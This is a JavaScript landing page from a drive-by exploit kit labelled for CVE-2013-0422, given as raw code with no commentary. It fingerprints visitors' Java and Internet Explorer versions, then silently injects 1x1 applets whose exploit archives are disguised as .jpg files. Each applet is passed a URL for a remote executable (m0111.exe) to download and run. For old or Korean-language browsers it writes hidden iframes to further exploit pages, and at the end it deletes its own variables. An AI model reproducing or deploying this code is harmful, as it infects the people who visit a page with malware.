Gond Da CVE-2013-0422

YULYhT4=YhlMzgc5;ycPuv8=MWuNG2(20100418);while(window.closed){}document.write("<br>");

var gondady=document.createElement('body');

document.body.appendChild(gondady);

var gondadx=deployJava.getJREs()+"";

var arrx=gondadx.split(",");

gondadx=parseInt(arrx[0].replace(/\.|\_/g,''));

for(i=1;i<arrx.length;i++)

{

tmp=parseInt(arrx[i].replace(/\.|\_/g,''));

if (gondadx<tmp) gondadx=tmp;

}

if ((gondadx<=17010 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))

{

var gondad = document.createElement('applet');

gondad.width="1";

gondad.height="1";

if((gondadx<=16027 && gondadx>=16000) || (gondadx>=15000 && gondadx<=15031))

{

gondad.archive="EnKi2.jpg";

gondad.code="GondadGondadExp.class";

gondad.setAttribute("dota","http://www.triples.kr/data/m0111.exe");

document.body.appendChild(gondad);

}

else if ((gondadx<=17002 && gondadx>=17000) || (gondadx<=16030 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))

{

gondad.archive="cLxmGk3.jpg";

gondad.code="GondadExx.Ohno.class";

gondad.setAttribute("xiaomaolv","http://www.triples.kr/data/m0111.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

}

else if ((gondadx<=17003 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15032 && gondadx>=15000))

{

gondad.archive="OLluRM4.jpg";

gondad.code="gond1723.Gondattack.class";

gondad.setAttribute("xiaomaolv","http://www.triples.kr/data/m0111.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

}

else if (gondadx<=17006 && gondadx>=17000)

{

var nsVkNcB7 = window.navigator.userAgent.toLowerCase();

if (nsVkNcB7.indexOf('msie 6') > -1)

{

document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.triples.kr/data/m0111.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'GPUrKz2.jpg'></OBJECT>");

}

else

{

gondad.archive="GPUrKz2.jpg";

gondad.code="cve2012xxxx.Gondvv.class";

gondad.setAttribute("xiaomaolv","http://www.triples.kr/data/m0111.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

}

}

else if (gondadx<=17007 && gondadx>=17000)

{

var nsVkNcB7 = window.navigator.userAgent.toLowerCase();

if (nsVkNcB7.indexOf('msie 6') > -1)

{

document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.triples.kr/data/m0111.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gond20125076.Gondqq.class'><param name=archive value= 'PBLO5.jpg'></OBJECT>");

}

else

{

gondad.archive="PBLO5.jpg";

gondad.code="gond20125076.Gondqq.class";

gondad.setAttribute("xiaomaolv","http://www.triples.kr/data/m0111.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

}

}

else if (gondadx<=17010 && gondadx>=17000)

{

var nsVkNcB7 = window.navigator.userAgent.toLowerCase();

if (nsVkNcB7.indexOf('msie 6') > -1)

{

document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.triples.kr/data/m0111.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'xml20130422.XML20130422.class'><param name=archive value= 'Nuwm7.jpg'></OBJECT>");

}

else

{

gondad.archive="Nuwm7.jpg";

gondad.code="xml20130422.XML20130422.class";

gondad.setAttribute("xiaomaolv","http://www.triples.kr/data/m0111.exe");

gondad.setAttribute("bn","woyouyizhixiaomaolv");

gondad.setAttribute("si","conglaiyebuqi");

gondad.setAttribute("bs","748");

document.body.appendChild(gondad);

}

}

}

else {

    /*

    if(jPzgRJ8['major']==11 && jPzgRJ8['minor']<=3 && jPzgRJ8['rev']<=300 && jPzgRJ8['gondad']<= 270){

    document.writeln("<img src=BbjxIS5.swf><\/img>");

    setTimeout("document.writeln(\"<embed width=100 height=0 src=BbjxIS5.swf><\\/embed>\");",2000);

    }

    else{

    */

    var nsVkNcB7 = window.navigator.userAgent.toLowerCase();

    if ((nsVkNcB7.indexOf('msie 6') > -1)||(nsVkNcB7.indexOf('msie 7') > -1)) {

    document.writeln("<iframe src=dNPnQv6.html><\/iframe>");

    }

    else if((nsVkNcB7.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)){

    document.writeln("<iframe src=EnKi2.html><\/iframe>");

    }

    //}

}

;

delete wmonxI1;

delete MGYESsc0;

delete AMHbjzs4;

delete jktL2;

delete KRptNF4;

delete PgPwzuc4;

delete OvHOXgU4;

delete qSGFYA3;

delete SgQRfb0;

delete ePrX4;

delete coPlMK3;

delete wuVcF1;

delete NbCR7;

delete YhlMzgc5;

delete TwDRJS7;

delete UecbIIb5;

delete JUSjP3;

delete mfcYy6;

delete CyXBL6;

delete MWuNG2;

delete ycPuv8;

delete LwzPnER1;

delete QPxh0;

delete YULYhT4;

delete JVRM5;

delete bMjm3;

delete aSWNeIe2;

delete mXJbF2;

delete XUvDRHW5;

delete PaNxF7;

delete MmDR7;

delete yGWrC3;

delete qKeHgyW6;

delete zQSeh4;

delete UGna4;

delete nmWF3;

delete vOIbn4;

delete EfMkiWK8;

delete gdxWs6;

delete fIWAN4;

try{CollectGarbage();}catch(e){}